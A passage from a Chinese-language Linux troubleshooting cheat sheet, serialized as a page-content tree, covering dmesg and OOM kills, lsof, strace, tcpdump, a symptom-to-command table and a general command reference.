默认开）。",[53,94753,94755],{"id":94754},"_4-dmesg-内核消息与-oom-killer","4. dmesg —— 内核消息与 OOM Killer",[308,94757,94759],{"className":3902,"code":94758,"language":3904,"meta":314,"style":314},"dmesg -T | tail -50                                  # 人类时间戳看最近内核消息\ndmesg -w                                             # 持续看，等价 journalctl -kf\ndmesg | grep -iE 'killed process|out of memory'      # 找 OOM：内存耗尽被杀的记录\njournalctl -k --since \"1 hour ago\" | grep -i oom     # 同上，走 journald\ndmesg | grep -iE 'error|I\u002FO|reset|fail'              # 硬件错：EXT4-fs error、nvme: controller down\n",[22,94760,94761,94777,94786,94803,94826],{"__ignoreMap":314},[331,94762,94763,94765,94767,94769,94771,94774],{"class":333,"line":334},[331,94764,57248],{"class":501},[331,94766,57251],{"class":344},[331,94768,15984],{"class":616},[331,94770,16407],{"class":501},[331,94772,94773],{"class":344}," -50",[331,94775,94776],{"class":1003},"                                  # 人类时间戳看最近内核消息\n",[331,94778,94779,94781,94783],{"class":333,"line":341},[331,94780,57248],{"class":501},[331,94782,80890],{"class":344},[331,94784,94785],{"class":1003},"                                             # 持续看，等价 journalctl -kf\n",[331,94787,94788,94790,94792,94794,94797,94800],{"class":333,"line":357},[331,94789,57248],{"class":501},[331,94791,15984],{"class":616},[331,94793,16363],{"class":501},[331,94795,94796],{"class":344}," -iE",[331,94798,94799],{"class":365}," 'killed process|out of memory'",[331,94801,94802],{"class":1003},"      # 找 OOM：内存耗尽被杀的记录\n",[331,94804,94805,94807,94809,94811,94814,94816,94818,94820,94823],{"class":333,"line":371},[331,94806,85451],{"class":501},[331,94808,74658],{"class":344},[331,94810,49939],{"class":344},[331,94812,94813],{"class":365}," \"1 hour ago\"",[331,94815,15984],{"class":616},[331,94817,16363],{"class":501},[331,94819,53226],{"class":344},[331,94821,94822],{"class":365}," oom",[331,94824,94825],{"class":1003},"     # 同上，走 journald\n",[331,94827,94828,94830,94832,94834,94836,94839],{"class":333,"line":384},[331,94829,57248],{"class":501},[331,94831,15984],{"class":616},[331,94833,16363],{"class":501},[331,94835,94796],{"class":344},[331,94837,94838],{"class":365}," 'error|I\u002FO|reset|fail'",[331,94840,94841],{"class":1003},"              # 硬件错：EXT4-fs error、nvme: controller down\n",[11,94843,94844,94845,94848,94849,94852,94853,94856,94857,272,94860,1677,94863,161],{},"OOM 记录会写清是谁被杀：",[22,94846,94847],{},"Out of memory: Killed process 28414 (java) total-vm:…","。保护关键进程：",[22,94850,94851],{},"echo -1000 > \u002Fproc\u002F$(pgrep app)\u002Foom_score_adj","（范围 -1000~1000），systemd 里写 ",[22,94854,94855],{},"OOMScoreAdjust=","。容器被杀看 cgroup：",[22,94858,94859],{},"docker inspect --format '{{.State.OOMKilled}}' id",[22,94861,94862],{},"cat \u002Fsys\u002Ffs\u002Fcgroup\u002F...\u002Fmemory.events",[22,94864,94865],{},"oom_kill",[11,94867,94868,94869,94871,94872,94875,94876,94878,94879,94882],{},"OOM 之后要做的：确认是谁涨的（",[22,94870,45921],{}," 按 RSS + 应用日志）、给服务加 ",[22,94873,94874],{},"MemoryMax=","（systemd）或容器 ",[22,94877,45990],{},"，避免它把整机拖死；",[22,94880,94881],{},"vm.swappiness=10"," 让内核更愿意用 swap 而不是直接杀（不是根治）。",[53,94884,94886],{"id":94885},"_5-lsof-谁在用这个文件端口","5. lsof —— 谁在用这个文件\u002F端口",[308,94888,94890],{"className":3902,"code":94889,"language":3904,"meta":314,"style":314},"sudo lsof -i :8080              # 按端口找进程；-i TCP:8080、-i 4（仅 IPv4）、-sTCP:LISTEN 只看监听\nsudo lsof \u002Fsrv\u002Fapp\u002Fapp.log      # 按文件找进程——排「umount busy」「空间不回收」都用它\nsudo lsof +L1                   # 已删除但被占用：链接数 \u003C1 的文件，磁盘空间被它占着\nsudo lsof -u deploy             # 按用户：看某人开了什么\nsudo lsof -p 28414              # 按 PID 全量：列它的 fd、mmap、库、socket\nsudo lsof -i                    # 只看网络，与 ss 互补（能看到 socket 文件描述符号）\nlsof | wc -l                    # 排查 fd 泄漏：ls \u002Fproc\u002FPID\u002Ffd | wc -l 对比 ulimit -n\n",[22,94891,94892,94906,94918,94929,94942,94955,94966],{"__ignoreMap":314},[331,94893,94894,94896,94898,94900,94903],{"class":333,"line":334},[331,94895,37063],{"class":501},[331,94897,89670],{"class":365},[331,94899,53226],{"class":344},[331,94901,94902],{"class":365}," :8080",[331,94904,94905],{"class":1003},"              # 按端口找进程；-i TCP:8080、-i 4（仅 IPv4）、-sTCP:LISTEN 只看监听\n",[331,94907,94908,94910,94912,94915],{"class":333,"line":341},[331,94909,37063],{"class":501},[331,94911,89670],{"class":365},[331,94913,94914],{"class":365}," \u002Fsrv\u002Fapp\u002Fapp.log",[331,94916,94917],{"class":1003},"      # 按文件找进程——排「umount busy」「空间不回收」都用它\n",[331,94919,94920,94922,94924,94926],{"class":333,"line":357},[331,94921,37063],{"class":501},[331,94923,89670],{"class":365},[331,94925,89673],{"class":365},[331,94927,94928],{"class":1003},"                   # 已删除但被占用：链接数 \u003C1 的文件，磁盘空间被它占着\n",[331,94930,94931,94933,94935,94937,94939],{"class":333,"line":371},[331,94932,37063],{"class":501},[331,94934,89670],{"class":365},[331,94936,37094],{"class":344},[331,94938,59612],{"class":365},[331,94940,94941],{"class":1003},"             # 按用户：看某人开了什么\n",[331,94943,94944,94946,94948,94950,94952],{"class":333,"line":384},[331,94945,37063],{"class":501},[331,94947,89670],{"class":365},[331,94949,36941],{"class":344},[331,94951,84042],{"class":344},[331,94953,94954],{"class":1003},"              # 按 PID 全量：列它的 fd、mmap、库、socket\n",[331,94956,94957,94959,94961,94963],{"class":333,"line":397},[331,94958,37063],{"class":501},[331,94960,89670],{"class":365},[331,94962,53226],{"class":344},[331,94964,94965],{"class":1003},"                    # 只看网络，与 ss 互补（能看到 socket 文件描述符号）\n",[331,94967,94968,94971,94973,94975,94977],{"class":333,"line":418},[331,94969,94970],{"class":501},"lsof",[331,94972,15984],{"class":616},[331,94974,16436],{"class":501},[331,94976,43868],{"class":344},[331,94978,94979],{"class":1003},"                    # 排查 fd 泄漏：ls \u002Fproc\u002FPID\u002Ffd | wc -l 对比 ulimit -n\n",[11,94981,94982,94984,94985,655,94987,94990,94991,161,94993,94996,94997,95000],{},[22,94983,94970],{}," 慢（要扫所有进程的 fd），生产上先看 ",[22,94986,87743],{},[22,94988,94989],{},"\u002Fproc\u002FPID\u002Ffd","，需要精确定位再 ",[22,94992,94970],{},[22,94994,94995],{},"fuser -vm \u002Fdata"," 是它的轻量替代（",[22,94998,94999],{},"fuser -k \u002Fdata"," 直接杀占用者——慎用）。",[53,95002,95004],{"id":95003},"_6-strace-ltrace-卡在哪个系统调用","6. strace \u002F ltrace —— 卡在哪个系统调用",[308,95006,95008],{"className":3902,"code":95007,"language":3904,"meta":314,"style":314},"strace -f -tt .\u002Fapp                  # 从头跟踪：-f 含子进程、-tt 带时间戳\nstrace -p 28414 -f -s 256             # 附加到运行中的进程（-s 256 加长字符串打印）\nstrace -e trace=network,file -p PID   # 只看某类调用（-e trace=%file）\nstrace -c -p 28414                    # 只出统计：哪个调用耗时\u002F次数最多——排「慢」先看这个\nstrace -o \u002Ftmp\u002Fst.log -yy -ttt -f -p PID   # 落盘分析（-yy 给 socket 对端地址）\nstrace -e openat -f bash script.sh    # 「脚本到底在读哪个配置文件」的终极答案\nltrace -c -p PID                       # 跟踪库函数调用（看它调了哪个 printf\u002FSSL_read）\nperf trace                             # 更低开销的 strace（bpf 实现）\n",[22,95009,95010,95026,95043,95060,95073,95097,95116,95130],{"__ignoreMap":314},[331,95011,95012,95015,95017,95020,95023],{"class":333,"line":334},[331,95013,95014],{"class":501},"strace",[331,95016,43839],{"class":344},[331,95018,95019],{"class":344}," -tt",[331,95021,95022],{"class":365}," .\u002Fapp",[331,95024,95025],{"class":1003},"                  # 从头跟踪：-f 含子进程、-tt 带时间戳\n",[331,95027,95028,95030,95032,95034,95036,95038,95040],{"class":333,"line":341},[331,95029,95014],{"class":501},[331,95031,36941],{"class":344},[331,95033,84042],{"class":344},[331,95035,43839],{"class":344},[331,95037,15978],{"class":344},[331,95039,57108],{"class":344},[331,95041,95042],{"class":1003},"             # 附加到运行中的进程（-s 256 加长字符串打印）\n",[331,95044,95045,95047,95049,95052,95054,95057],{"class":333,"line":357},[331,95046,95014],{"class":501},[331,95048,56478],{"class":344},[331,95050,95051],{"class":365}," trace=network,file",[331,95053,36941],{"class":344},[331,95055,95056],{"class":365}," PID",[331,95058,95059],{"class":1003},"   # 只看某类调用（-e trace=%file）\n",[331,95061,95062,95064,95066,95068,95070],{"class":333,"line":371},[331,95063,95014],{"class":501},[331,95065,15990],{"class":344},[331,95067,36941],{"class":344},[331,95069,84042],{"class":344},[331,95071,95072],{"class":1003},"                    # 只出统计：哪个调用耗时\u002F次数最多——排「慢」先看这个\n",[331,95074,95075,95077,95079,95082,95085,95088,95090,95092,95094],{"class":333,"line":384},[331,95076,95014],{"class":501},[331,95078,53195],{"class":344},[331,95080,95081],{"class":365}," \u002Ftmp\u002Fst.log",[331,95083,95084],{"class":344}," -yy",[331,95086,95087],{"class":344}," -ttt",[331,95089,43839],{"class":344},[331,95091,36941],{"class":344},[331,95093,95056],{"class":365},[331,95095,95096],{"class":1003},"   # 落盘分析（-yy 给 socket 对端地址）\n",[331,95098,95099,95101,95103,95106,95108,95110,95113],{"class":333,"line":397},[331,95100,95014],{"class":501},[331,95102,56478],{"class":344},[331,95104,95105],{"class":365}," openat",[331,95107,43839],{"class":344},[331,95109,91479],{"class":365},[331,95111,95112],{"class":365}," script.sh",[331,95114,95115],{"class":1003},"    # 「脚本到底在读哪个配置文件」的终极答案\n",[331,95117,95118,95121,95123,95125,95127],{"class":333,"line":418},[331,95119,95120],{"class":501},"ltrace",[331,95122,15990],{"class":344},[331,95124,36941],{"class":344},[331,95126,95056],{"class":365},[331,95128,95129],{"class":1003},"                       # 跟踪库函数调用（看它调了哪个 printf\u002FSSL_read）\n",[331,95131,95132,95135,95138],{"class":333,"line":427},[331,95133,95134],{"class":501},"perf",[331,95136,95137],{"class":365}," trace",[331,95139,95140],{"class":1003},"                             # 更低开销的 strace（bpf 实现）\n",[11,95142,95143,95145,95146,95148,95149,655,95152,655,95155,655,95158,95161,95162,95164],{},[22,95144,95014],{}," 会让目标进程明显变慢（每次系统调用都要停下与 ptrace 通信），生产环境用 ",[22,95147,88750],{}," 抽样或短时间附加，别长时间挂着。看 ",[22,95150,95151],{},"EACCES",[22,95153,95154],{},"ENOENT",[22,95156,95157],{},"EAGAIN",[22,95159,95160],{},"ETIMEDOUT"," 这几个错误码，通常一步到位定位问题。",[22,95163,95120],{}," 对静态编译的程序无效（没有库调用可跟踪）。",[53,95166,95168],{"id":95167},"_7-tcpdump-与实时流量","7. tcpdump 与实时流量",[308,95170,95172],{"className":3902,"code":95171,"language":3904,"meta":314,"style":314},"sudo tcpdump -i any -nn tcp port 8080               # 看某端口有没有流量\nsudo tcpdump -i eth0 -nn host 10.0.0.5 and port 5432  # 抓某主机与某服务的全部包\nsudo tcpdump -i any -w \u002Ftmp\u002Flost.pcap tcp port 443   # 抓下来给 Wireshark 分析（-W 5 -C 50 分片限大小）\nsudo tcpdump -nn 'tcp[tcpflags] & (tcp-syn) != 0 and dst port 443'   # 只看 SYN 无响应（被防火墙丢）\nsudo tcpdump -nn 'tcp[tcpflags] & tcp-rst != 0'      # 看谁在连不上时发 RST\nsudo tcpdump -nn -s0 -A port 53                      # 抓 DNS 问答\n",[22,95173,95174,95199,95225,95250,95264,95278],{"__ignoreMap":314},[331,95175,95176,95178,95181,95183,95185,95188,95191,95194,95196],{"class":333,"line":334},[331,95177,37063],{"class":501},[331,95179,95180],{"class":365}," tcpdump",[331,95182,53226],{"class":344},[331,95184,9486],{"class":365},[331,95186,95187],{"class":344}," -nn",[331,95189,95190],{"class":365}," tcp",[331,95192,95193],{"class":365}," port",[331,95195,51231],{"class":344},[331,95197,95198],{"class":1003},"               # 看某端口有没有流量\n",[331,95200,95201,95203,95205,95207,95209,95211,95213,95215,95218,95220,95222],{"class":333,"line":341},[331,95202,37063],{"class":501},[331,95204,95180],{"class":365},[331,95206,53226],{"class":344},[331,95208,87823],{"class":365},[331,95210,95187],{"class":344},[331,95212,88281],{"class":365},[331,95214,88044],{"class":344},[331,95216,95217],{"class":365}," and",[331,95219,95193],{"class":365},[331,95221,36944],{"class":344},[331,95223,95224],{"class":1003},"  # 抓某主机与某服务的全部包\n",[331,95226,95227,95229,95231,95233,95235,95237,95240,95242,95244,95247],{"class":333,"line":357},[331,95228,37063],{"class":501},[331,95230,95180],{"class":365},[331,95232,53226],{"class":344},[331,95234,9486],{"class":365},[331,95236,80890],{"class":344},[331,95238,95239],{"class":365}," \u002Ftmp\u002Flost.pcap",[331,95241,95190],{"class":365},[331,95243,95193],{"class":365},[331,95245,95246],{"class":344}," 443",[331,95248,95249],{"class":1003},"   # 抓下来给 Wireshark 分析（-W 5 -C 50 分片限大小）\n",[331,95251,95252,95254,95256,95258,95261],{"class":333,"line":371},[331,95253,37063],{"class":501},[331,95255,95180],{"class":365},[331,95257,95187],{"class":344},[331,95259,95260],{"class":365}," 'tcp[tcpflags] & (tcp-syn) != 0 and dst port 443'",[331,95262,95263],{"class":1003},"   # 只看 SYN 无响应（被防火墙丢）\n",[331,95265,95266,95268,95270,95272,95275],{"class":333,"line":384},[331,95267,37063],{"class":501},[331,95269,95180],{"class":365},[331,95271,95187],{"class":344},[331,95273,95274],{"class":365}," 'tcp[tcpflags] & tcp-rst != 0'",[331,95276,95277],{"class":1003},"      # 看谁在连不上时发 RST\n",[331,95279,95280,95282,95284,95286,95289,95291,95293,95296],{"class":333,"line":397},[331,95281,37063],{"class":501},[331,95283,95180],{"class":365},[331,95285,95187],{"class":344},[331,95287,95288],{"class":344}," -s0",[331,95290,76686],{"class":344},[331,95292,95193],{"class":365},[331,95294,95295],{"class":344}," 53",[331,95297,95298],{"class":1003},"                      # 抓 DNS 问答\n",[11,95300,95301,95302,95305,95306,95309,95310,95313,95314,95317,95318,655,95321,95324,95325,95327,95328,4839,95331,95334,95335,95338,95339,95342,95343,95345,95346,95348],{},"参数要点：",[22,95303,95304],{},"-nn","（不解析端口\u002F主机名，避免自己造 DNS 流量并卡住）、",[22,95307,95308],{},"-i any","（跨网卡，容器\u002F桥接场景必备）、",[22,95311,95312],{},"-s 0","（抓完整包，老版本默认截 96 字节）、",[22,95315,95316],{},"-c 100","（限量防写爆磁盘）、",[22,95319,95320],{},"-A",[22,95322,95323],{},"-X","（看载荷，明文协议调试用）、",[22,95326,88060],{},"（行缓冲实时输出，配管道用）。看实时流量分布用 ",[22,95329,95330],{},"nethogs",[17,95332,95333],{},"按进程","看带宽，找「谁在下东西」最直接）或 ",[22,95336,95337],{},"iftop -P","（按连接看，",[22,95340,95341],{},"-i eth0","，界面里 ",[22,95344,11],{}," 显示累计、",[22,95347,22158],{}," 切换源\u002F目的排序）。",[53,95350,95352],{"id":95351},"_8-现象-先跑哪几条命令","8. 现象 → 先跑哪几条命令",[57,95354,95355,95367],{},[60,95356,95357],{},[63,95358,95359,95361,95364],{},[66,95360,92136],{},[66,95362,95363],{},"第一批命令（照抄）",[66,95365,95366],{},"看到什么算定位",[79,95368,95369,95405,95438,95457,95487,95511,95532,95560,95593,95617,95643,95665,95687],{},[63,95370,95371,95374,95391],{},[84,95372,95373],{},"CPU 高 \u002F 变慢",[84,95375,95376,4843,95379,95381,95382,95384,95385,4843,95388],{},[22,95377,95378],{},"uptime; nproc",[22,95380,50045],{},"（按 ",[22,95383,84729],{},"）→ ",[22,95386,95387],{},"pidstat 1 5",[22,95389,95390],{},"strace -c -p PID",[84,95392,95393,95395,95396,95398,95399,95401,95402,95404],{},[22,95394,84575],{}," 高 = 应用算法\u002F循环；",[22,95397,84579],{}," 高 = 系统调用风暴；",[22,95400,84588],{}," 高 = 其实是 IO；",[22,95403,13916],{}," 高但 CPU 空 = D 状态堆",[63,95406,95407,95410,95423],{},[84,95408,95409],{},"内存吃满 \u002F 被 OOM",[84,95411,95412,4843,95415,4843,95418,4843,95420],{},[22,95413,95414],{},"free -h",[22,95416,95417],{},"dmesg | grep -i kill",[22,95419,94408],{},[22,95421,95422],{},"cat \u002Fproc\u002Fmeminfo | head",[84,95424,95425,95427,95428,95431,95432,655,95435,95437],{},[22,95426,94358],{}," 小 + ",[22,95429,95430],{},"si\u002Fso"," 活动 = 真缺；",[22,95433,95434],{},"SReclaimable",[22,95436,94342],{}," 大 = 假象",[63,95439,95440,95443,95454],{},[84,95441,95442],{},"磁盘满",[84,95444,95445,4843,95447,4843,95449,4843,95451],{},[22,95446,60022],{},[22,95448,89820],{},[22,95450,90494],{},[22,95452,95453],{},"sudo lsof +L1",[84,95455,95456],{},"三者各对应：块满 \u002F inode 满 \u002F 已删除未释放",[63,95458,95459,95462,95472],{},[84,95460,95461],{},"磁盘 IO 高",[84,95463,95464,4843,95466,4843,95469],{},[22,95465,94595],{},[22,95467,95468],{},"iotop -o",[22,95470,95471],{},"pidstat -d 1",[84,95473,95474,95476,95477,95479,95480,95483,95484,95486],{},[22,95475,94600],{},"≈100 且 ",[22,95478,3286],{}," 大 = 设备瓶颈；",[22,95481,95482],{},"util"," 低但 ",[22,95485,3286],{}," 高 = 队列排队\u002F驱动",[63,95488,95489,95492,95508],{},[84,95490,95491],{},"网络不通",[84,95493,95494,4843,95496,4843,95499,4843,95502,4843,95505],{},[22,95495,87915],{},[22,95497,95498],{},"ip route get 目标IP",[22,95500,95501],{},"ping -c 3",[22,95503,95504],{},"nc -vz 目标 端口",[22,95506,95507],{},"curl -v",[84,95509,95510],{},"路由不通 \u002F ICMP 被封 \u002F TCP 连不上 \u002F TLS 或 HTTP 层错，四层各归各位",[63,95512,95513,95516,95526],{},[84,95514,95515],{},"端口没监听",[84,95517,95518,4843,95520,4843,95523],{},[22,95519,88128],{},[22,95521,95522],{},"ss -lntp | grep 8080",[22,95524,95525],{},"systemctl status 服务",[84,95527,95528,95529,95531],{},"根本没起 vs 只绑了 ",[22,95530,46698],{}," vs 被别的服务占了",[63,95533,95534,95537,95548],{},[84,95535,95536],{},"服务起不来",[84,95538,95539,4843,95542,4843,95545],{},[22,95540,95541],{},"systemctl status 名",[22,95543,95544],{},"journalctl -u 名 -n 50 --no-pager",[22,95546,95547],{},"systemctl cat 名",[84,95549,95550,95551,272,95554,272,95557,95559],{},"看 ",[22,95552,95553],{},"Main PID",[22,95555,95556],{},"Exit code",[22,95558,85897],{}," 路径是否存在与权限",[63,95561,95562,95565,95583],{},[84,95563,95564],{},"进程杀不掉",[84,95566,95567,4843,95570,4843,95573,95576,95577,95579,95580],{},[22,95568,95569],{},"ps -o pid,stat,user,cmd -p PID",[22,95571,95572],{},"sudo kill 15",[22,95574,95575],{},"sudo kill -9"," → 若 ",[22,95578,84343],{}," 状态：",[22,95581,95582],{},"cat \u002Fproc\u002FPID\u002Fwchan",[84,95584,95585,95587,95588,95590,95591],{},[22,95586,84343],{}," = 等内核 IO（杀不动，修底层）；",[22,95589,51915],{}," = 僵尸（父进程回收）；systemd 拉起 = 用 ",[22,95592,85416],{},[63,95594,95595,95598,95611],{},[84,95596,95597],{},"时间不对",[84,95599,95600,4843,95602,655,95605,4843,95608],{},[22,95601,86627],{},[22,95603,95604],{},"chronyc sources",[22,95606,95607],{},"ntpq -p",[22,95609,95610],{},"hwclock -r",[84,95612,95613,95616],{},[22,95614,95615],{},"NTPSynchronized=no","、时区错、双系统 UTC\u002F本地冲突",[63,95618,95619,95622,95637],{},[84,95620,95621],{},"权限被拒",[84,95623,95624,4843,95627,4843,95629,4843,95632,655,95634],{},[22,95625,95626],{},"sudo -u appuser 原命令",[22,95628,79627],{},[22,95630,95631],{},"id appuser",[22,95633,79462],{},[22,95635,95636],{},"ausearch -m avc",[84,95638,95639,95640,95642],{},"父目录缺 ",[22,95641,21547],{},"、组变更后没重登、SELinux 上下文",[63,95644,95645,95648,95662],{},[84,95646,95647],{},"文件找不到\u002F版本乱",[84,95649,95650,4843,95653,5652,95656,95384,95659],{},[22,95651,95652],{},"command -v X",[22,95654,95655],{},"dpkg -S $(command -v X)",[22,95657,95658],{},"rpm -qf",[22,95660,95661],{},"update-alternatives --list X",[84,95663,95664],{},"多版本共存时看谁在前",[63,95666,95667,95670,95684],{},[84,95668,95669],{},"登录不上 SSH",[84,95671,95672,4843,95675,4843,95678,4843,95681],{},[22,95673,95674],{},"ssh -v",[22,95676,95677],{},"journalctl -u ssh -n 50",[22,95679,95680],{},"sudo ss -tlnp | grep 22",[22,95682,95683],{},"sudo tail -50 \u002Fvar\u002Flog\u002Fauth.log",[84,95685,95686],{},"端口、配置、认证方式、faillock 各查一段",[63,95688,95689,95692,95700],{},[84,95690,95691],{},"某个应用行为怪",[84,95693,95694,4843,95697],{},[22,95695,95696],{},"strace -f -e trace=file,network .\u002Fapp",[22,95698,95699],{},"lsof -p PID",[84,95701,95702],{},"读错配置、连错地址、写到只读目录",[53,95704,95706],{"id":95705},"_9-总速查表我想干一件事-用什么命令","9. 总速查表：我想干一件事 → 用什么命令",[57,95708,95709,95718],{},[60,95710,95711],{},[63,95712,95713,95716],{},[66,95714,95715],{},"我想",[66,95717,5040],{},[79,95719,95720,95734,95744,95754,95766,95782,95795,95808,95818,95828,95840,95852,95866,95876,95892,95905,95918,95928,95938,95948,95961,95974,95988,96001,96011,96025,96044,96058,96072,96088,96101,96123,96132,96142,96154,96167,96180,96194,96209],{},[63,95721,95722,95725],{},[84,95723,95724],{},"看我在哪、有什么",[84,95726,95727,272,95729,272,95731],{},[22,95728,75592],{},[22,95730,76615],{},[22,95732,95733],{},"tree -L 2",[63,95735,95736,95739],{},[84,95737,95738],{},"找文件（按名字）",[84,95740,95741],{},[22,95742,95743],{},"find \u002F -xdev -maxdepth 4 -name '*.log' -mtime -7",[63,95745,95746,95749],{},[84,95747,95748],{},"找文件（按内容）",[84,95750,95751],{},[22,95752,95753],{},"grep -rl '关键词' \u002Fetc",[63,95755,95756,95759],{},[84,95757,95758],{},"找命令属于哪个包",[84,95760,95761,1901,95763],{},[22,95762,95655],{},[22,95764,95765],{},"rpm -qf $(command -v X)",[63,95767,95768,95771],{},[84,95769,95770],{},"看文件内容",[84,95772,95773,272,95776,272,95779],{},[22,95774,95775],{},"less -N file",[22,95777,95778],{},"head -n 200",[22,95780,95781],{},"tail -F file",[63,95783,95784,95787],{},[84,95785,95786],{},"看不可见字符\u002F换行",[84,95788,95789,272,95792],{},[22,95790,95791],{},"cat -A file",[22,95793,95794],{},"od -c -N 64 file",[63,95796,95797,95800],{},[84,95798,95799],{},"批量替换配置",[84,95801,95802,77504,95805],{},[22,95803,95804],{},"sed -i.bak 's\u002F^旧\u002F新\u002F' file",[22,95806,95807],{},"diff file.bak file",[63,95809,95810,95813],{},[84,95811,95812],{},"按列统计",[84,95814,95815],{},[22,95816,95817],{},"awk '{print $1}' log | sort | uniq -c | sort -rn | head",[63,95819,95820,95823],{},[84,95821,95822],{},"看谁占空间",[84,95824,95825],{},[22,95826,95827],{},"du -h --max-depth=1 . | sort -h | tail -15",[63,95829,95830,95833],{},[84,95831,95832],{},"看磁盘\u002Finode",[84,95834,95835,272,95838],{},[22,95836,95837],{},"df -hT",[22,95839,89820],{},[63,95841,95842,95845],{},[84,95843,95844],{},"看挂载与读写状态",[84,95846,95847,272,95850],{},[22,95848,95849],{},"findmnt -T \u002F路径",[22,95851,89991],{},[63,95853,95854,95857],{},[84,95855,95856],{},"看进程",[84,95858,95859,272,95862,272,95864],{},[22,95860,95861],{},"ps aux --sort=-%cpu | head",[22,95863,50045],{},[22,95865,84836],{},[63,95867,95868,95871],{},[84,95869,95870],{},"按名字找进程",[84,95872,95873],{},[22,95874,95875],{},"pgrep -af '关键词'",[63,95877,95878,95881],{},[84,95879,95880],{},"停服务 \u002F 停进程",[84,95882,95883,17306,95886,95888,95889],{},[22,95884,95885],{},"systemctl stop app",[22,95887,84973],{}," → 10 秒后 ",[22,95890,95891],{},"kill -9 28414",[63,95893,95894,95897],{},[84,95895,95896],{},"看服务日志",[84,95898,95899,272,95902],{},[22,95900,95901],{},"journalctl -u app -f",[22,95903,95904],{},"journalctl -u app --since \"10 min ago\" -p err",[63,95906,95907,95910],{},[84,95908,95909],{},"改服务配置",[84,95911,95912,4843,95915],{},[22,95913,95914],{},"systemctl edit app",[22,95916,95917],{},"systemctl daemon-reload && systemctl restart app",[63,95919,95920,95923],{},[84,95921,95922],{},"看谁在监听端口",[84,95924,95925],{},[22,95926,95927],{},"sudo ss -tulnp",[63,95929,95930,95933],{},[84,95931,95932],{},"测端口通不通",[84,95934,95935],{},[22,95936,95937],{},"nc -vz 10.0.0.5 5432",[63,95939,95940,95943],{},[84,95941,95942],{},"测接口健康",[84,95944,95945],{},[22,95946,95947],{},"curl -sS -o \u002Fdev\u002Fnull -w '%{http_code} %{time_total}\\n' URL",[63,95949,95950,95953],{},[84,95951,95952],{},"验证 DNS",[84,95954,95955,272,95958],{},[22,95956,95957],{},"getent hosts 域名",[22,95959,95960],{},"dig +short 域名 @1.1.1.1",[63,95962,95963,95966],{},[84,95964,95965],{},"走跳板连内网",[84,95967,95968,272,95971],{},[22,95969,95970],{},"ssh -J bastion app",[22,95972,95973],{},"ssh -L 5432:db:5432 bastion",[63,95975,95976,95979],{},[84,95977,95978],{},"备份\u002F同步目录",[84,95980,95981,95984,95985,95987],{},[22,95982,95983],{},"rsync -avz --delete src\u002F host:\u002Fbackup\u002F","（先 ",[22,95986,50545],{}," 干跑）",[63,95989,95990,95993],{},[84,95991,95992],{},"打包 \u002F 解包",[84,95994,95995,272,95998],{},[22,95996,95997],{},"tar czf app.tar.gz 目录",[22,95999,96000],{},"tar xzf app.tar.gz -C 目标",[63,96002,96003,96006],{},[84,96004,96005],{},"不解压搜日志",[84,96007,96008],{},[22,96009,96010],{},"zgrep -h 'ERROR' \u002Fvar\u002Flog\u002F*.gz",[63,96012,96013,96016],{},[84,96014,96015],{},"加一条定时任务",[84,96017,96018,96021,96022,96024],{},[22,96019,96020],{},"crontab -e","（命令写绝对路径、输出重定向、",[22,96023,715],{}," 转义）",[63,96026,96027,96030],{},[84,96028,96029],{},"建用户\u002F加组",[84,96031,96032,272,96035,4839,96038,96043],{},[22,96033,96034],{},"sudo useradd -m -s \u002Fbin\u002Fbash 名字",[22,96036,96037],{},"sudo usermod -aG docker 名字",[17,96039,96040,96041],{},"必须 ",[22,96042,87207],{},"，然后重新登录）",[63,96045,96046,96049],{},[84,96047,96048],{},"看自己身份",[84,96050,96051,272,96053,272,96055],{},[22,96052,8521],{},[22,96054,86884],{},[22,96056,96057],{},"sudo -l",[63,96059,96060,96063],{},[84,96061,96062],{},"修权限",[84,96064,96065,272,96068,272,96070],{},[22,96066,96067],{},"chown -R app:app \u002Fsrv\u002Fapp",[22,96069,78476],{},[22,96071,79627],{},[63,96073,96074,96077],{},[84,96075,96076],{},"装\u002F卸包",[84,96078,96079,1901,96082,1901,96085],{},[22,96080,96081],{},"apt install -y pkg",[22,96083,96084],{},"dnf -y install pkg",[22,96086,96087],{},"apk add --no-cache pkg",[63,96089,96090,96093],{},[84,96091,96092],{},"查包版本候选",[84,96094,96095,1901,96098],{},[22,96096,96097],{},"apt policy pkg",[22,96099,96100],{},"dnf list pkg",[63,96102,96103,96106],{},[84,96104,96105],{},"看资源总览",[84,96107,96108,272,96110,272,96112,272,96114,272,96116,655,96119,96122],{},[22,96109,95414],{},[22,96111,94431],{},[22,96113,94595],{},[22,96115,94664],{},[22,96117,96118],{},"vgs",[22,96120,96121],{},"lvs","（LVM）",[63,96124,96125,96128],{},[84,96126,96127],{},"查历史性能",[84,96129,96130],{},[22,96131,94652],{},[63,96133,96134,96137],{},[84,96135,96136],{},"抓包",[84,96138,96139],{},[22,96140,96141],{},"sudo tcpdump -i any -nn -c 200 tcp port 443",[63,96143,96144,96147],{},[84,96145,96146],{},"定位「卡在哪个调用」",[84,96148,96149,272,96151],{},[22,96150,95390],{},[22,96152,96153],{},"strace -f -e trace=file .\u002Fapp",[63,96155,96156,96159],{},[84,96157,96158],{},"看内核报错",[84,96160,96161,272,96164],{},[22,96162,96163],{},"dmesg -T | tail -50",[22,96165,96166],{},"journalctl -k -b --since \"1 hour ago\"",[63,96168,96169,96172],{},[84,96170,96171],{},"跑个脚本看细节",[84,96173,96174,96176,96177],{},[22,96175,93456],{},"、脚本头 ",[22,96178,96179],{},"set -euo pipefail",[63,96181,96182,96185],{},[84,96183,96184],{},"临时改环境变量",[84,96186,96187,272,96190,96193],{},[22,96188,96189],{},"export PATH=\"$HOME\u002F.local\u002Fbin:$PATH\"",[22,96191,96192],{},"env -i bash"," 起干净环境",[63,96195,96196,96199],{},[84,96197,96198],{},"查\u002F改时间与时区",[84,96200,96201,272,96203,272,96206],{},[22,96202,86627],{},[22,96204,96205],{},"timedatectl set-timezone Asia\u002FShanghai",[22,96207,96208],{},"timedatectl set-ntp true",[63,96210,96211,96214],{},[84,96212,96213],{},"安全地删一批文件",[84,96215,96216,96219,96220,96222,96223],{},[22,96217,96218],{},"find dir -name '*.tmp' -mtime +3 -print"," 确认后再把 ",[22,96221,79669],{}," 换 ",[22,96224,79675],{},[53,96226,96227],{"id":96227},"一句话记住",[11,96229,96230,96231,96234,96235,2012,96237,96240],{},"排障永远按资源维度各看一眼：",[17,96232,96233],{},"CPU（uptime\u002Ftop）→ 内存（free\u002Fdmesg）→ 磁盘容量（df -h \u002F df -i \u002F du）→ 磁盘 IO（iostat）→ 网络（ip\u002Fss\u002Fcurl）→ 服务（systemctl\u002Fjournalctl）→ 